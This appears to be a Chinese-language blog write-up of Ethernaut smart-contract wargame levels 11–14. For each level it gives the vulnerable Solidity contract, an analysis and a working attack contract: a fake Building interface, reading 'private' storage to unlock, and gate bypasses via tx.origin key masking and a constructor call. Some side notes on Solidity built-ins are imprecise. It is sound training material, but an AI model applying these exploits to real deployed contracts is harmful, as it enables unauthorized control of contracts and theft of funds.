Ethernaut靶场(2022-11)
11题 Elevator
题目代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
漏洞分析:
让top变为true即可。构造个Building合约,实现接口中的信息,就是重写isLastFloor()
。然后让第一次调用isLastFloor
返回false,第二次调用isLastFloor
返回true即可:
攻击代码:
pragma solidity ^0.6.0;
contract Building {
address public target = 0x802450E17Ad3e0D1484bb8817EF76505FFB7FcB1;
bool public flag = false;
function isLastFloor(uint) external returns (bool){
if(flag == false){
flag = true;
return false;
}
return true;
}
function attack() public {
target.call(abi.encodeWithSignature("goTo(uint256)",1));
}
}
12题 Privacy
题目代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
漏洞分析:
在区块链中private的数据并不是完全的private,他只是在合约层面的不可见,在区块链浏览器上是可见的。因此只要我们拿到了data[2]
,就OK。
攻击合约:
contract Attack {
address public target = 0x19a623B7DFfd833D40C2aB630E2Da44E98A3d1A4;//constant address
bytes32 public data = 0xa35c84c5e98b32645dd602c1c92ddac03d6f3edcac11f0b1e859376ffcbf44da;
bytes16 public key = bytes16(data);
function attack() public {
target.call(abi.encodeWithSignature("unlock(bytes16)",key));
}
}
其中,data是slot = await web3.eth.getStorageAt("0x19a623B7DFfd833D40C2aB630E2Da44E98A3d1A4", 5);
计算得来的。
- EVM插槽大小为 32 字节(或 256 位)。
- 一个 uint8 占用 8 位,使插槽的其余部分对可能适合的其他值保持打开状态。
- 一个bool类型的是一字节(8位)。
知识补充:
solidity的变量类型
Solidity 支持三种类型的变量:
-
状态变量 – 变量值永久保存在合约存储空间中的变量。
-
局部变量 – 变量值仅在函数执行过程中有效的变量,函数退出后,变量无效。
-
全局变量 – 保存在全局命名空间,用于获取区块链相关信息的特殊变量。
pragma solidity ^0.5.0; contract SolidityTest { uint storedData; // 状态变量 constructor() public { storedData = 10; } function getResult() public view returns(uint){ uint a = 1; // 局部变量 uint b = 2; uint result = a + b; return result; // 访问局部变量 } }
引用类型的变量
引用类型的变量有两种类型,分别是memory
和storage
。
memory(值传递)
- 当引用类型作为函数参数时,它的类型默认为
memory
,函数参数为memory
类型的变量给一个变量赋值时,这个变量的类型必须和函数参数类型一致 - var声明一个变量时,这个变量的类型最终由赋给它值的类型决定。
- 任何函数参数当它的类型为引用类型时,这个函数参数都默认为memory类型,memory类型的变量会临时拷贝一份值存储到内存中,当我们将这个参数值赋给一个新的变量,并尝试去修改这个新的变量的值时,最原始的变量的值并不会发生变化。
storage(指针传递)
- storage类型的函数参数将是指针传递。
- 如果想要在modifyName函数中通过传递过来的指针修改_name的值,那么必须将函数参数的类型显示设置为storage类型,storage类型拷贝的不是值,而是_name指针,当调用modifyName(_name)函数时,相当于同时有_name,name,name1三个指针同时指向同一个对象,我们可以通过三个指针中的任何一个指针修改他们共同指向的内容的值。
!!!!!!!!!!!!注意!!!!!!!!!!!!
函数默认为public
类型,但是当我们的函数参数如果为storage
类型时,函数的类型必须为internal
或者private
13题 GateKeeper One
题目代码:
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
//22220 43321 21101
//5020 26221
//0x 00 00 00 11 00 00 3F B8
//0x 00 00 00 00 00 00 12 12
//0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8
//0x 00 00 3F B8 uint16
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
攻击分析: 这里用了三个函数修饰符,里面的三个问题都要解决,不然函数就会被回退。
gateOne:
-
要使
gateOne
不被回退,我们需要让msg.sender != tx.origin
,这意味着我们必须从智能合约中调用enter
,而不是直接从EOA中调用。因此需要写一个攻击合约。 -
只需要再调用函数时增加一个中间函数,就可以使
msg.sender != tx.origin
gateTwo:
gasleft
函数返回的是交易剩余的gas量,所以我们只要让gas为8191*n+x即可,其中x为我们此次交易所消耗的gas。理论上来讲可以通过debug得到,但是由于不知道目标合约的编译器版本,所以无法精准得到这个值。但我们可以通过gas爆破来解决。毕竟gas毕竟是在一个范围区间之中的。注意,每个Solidity指令实际上是一系列低级EVM操作码的高级表示。
gateThree:
uint32(uint64(_gateKey))
转换后会取低位,所以变成0xdeadbeef
,uint16(uint64(_gateKey))
同理会变成0xbeef
,uint16和uint32在比较的时候,较小的类型uint16会在左边填充0,也就是会变成0x0000beef和0xdeadbeef做比较,因此想通过第一个require只需要找一个形为0x????????0000????
这种形式的值即可,其中?是任取值。- 第二步要求双方不相等,只需高4个字节中任有一个bit不为0即可
- 通过前面可知,uint32(uint64(_gateKey))应该是类似0x0000beef这种形式,所以只需要让最低的2个byte和tx.origin地址最低的2个byte相同即可,也就是,key的最低2个字节设置为合约地址的低2个字节。这里tx.origin就是metamask的账户地址
攻击合约:
contract attack{
bytes8 res = bytes8(uint64(tx.origin)&0xFFFFFFFF0000FFFF);
GatekeeperOne gate=GatekeeperOne(0xA8Ab6c93e36F4bB8c01682207d0921d4c2311B0f);
function att()public{
gate.enter(res);
}
}
solidity内置函数
这道题用到了gasleft(),顺便也把其他内置函数一起写上。[^]_[^]
1. 块函数: 可以获取块信息
block.timestamp (uint)
当前块的实际戳,单位秒。
block.number (uint)
当前块高度。
block.difficulty (uint)
矿工会用到的出块难度。
block.gaslimit (uint)
计算块需要消耗的gas限制,是转账gas和智能合约的执行gas之和
block.coinbase (address payable)
矿工地址:块产生的gas费 转账地址。 也是写入块数据的地址
gasleft() returns (uint256)
每个块都有执行成本,但是不一定能够完全消耗完。 矿工一般会按照最接近的gas费用来打包出块。gaslefe就是剩下的部分。
2. Message 函数 在合约内获取用户签名后的信息。
msg.data (bytes calldata)
用户发生的转账之外的内容,可以是文字备注之类的,但是如果接受信息的是智能合约那合约会对data进行解析,并执行date中指定的函数。
msg.sender (address payable)
发送信息的发送者
msg.sig (bytes4)
calldata 前四个字节的内容,在合约内验证调用的那个函数。
msg.value (uint)
用户转账的ETH额度,单位是wei(18位的整数)。 调用合约时一般都为0,如果想给合约转账可以在这定义转账的ETH数量,如果合约内部没有转账ETH的对应操纵函数,这个费用会卡在合约地址中无法转出。
3. Tx 函数
tx.gasprice (uint):
交易中发送者愿意支付的价格,发送者决定。 gasgasprice 决定矿工打包交易的收入。如果太低,只有块比较空的时候矿工才愿意打包这笔交易。所有对发送者来说需要等待的时间就会比较长。n10秒。
tx.origin (address payable):
这笔交易的发送者。 在开发中避免使用,合约调用有Delegate call的方式可能不会与你的预期不一致。
4. 其他
now (uint)
当前时间时间戳的别名,特别注意在老版本EVM中是系统时间,在最新规范中不推荐使用。
blockhash(uint blockNumber)
把块高反算成块哈希。 这个计算量比较大,有限制。不推荐使用。
assembly
在EVM 虚拟机中直接执行 open code 的关键字。
14题 GateKeeper Two
题目代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
题目分析:
gateOne:
和上一道题同理。
gateTwo:
在这里caller是调用的发起者,extcodesize(a)
会返回地址a
的代码大小
。
关于这点,需要使用一个特性绕过:当合约正在执行构造函数constructor并部署时,其extcodesize为0。换句话说,如果我们在constructor中调用这个函数的话,那么extcodesize(caller())返回0,因此可以绕过检查。
gateThree:
这是一个异或的运算。
需要msg.sender ^ gateKey = 0-1,则可以msg.sender ^ 0-1求得gateKey。
攻击合约:
pragma solidity ^0.6.0;
contract attack{
address target;
constructor(address _adr) public{
target = _adr;
bytes8 password = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1);
target.call(abi.encodeWithSignature("enter(bytes8)",password));
}
}
[这张图就是我活下去的动力......阿西!!!][-]^[-]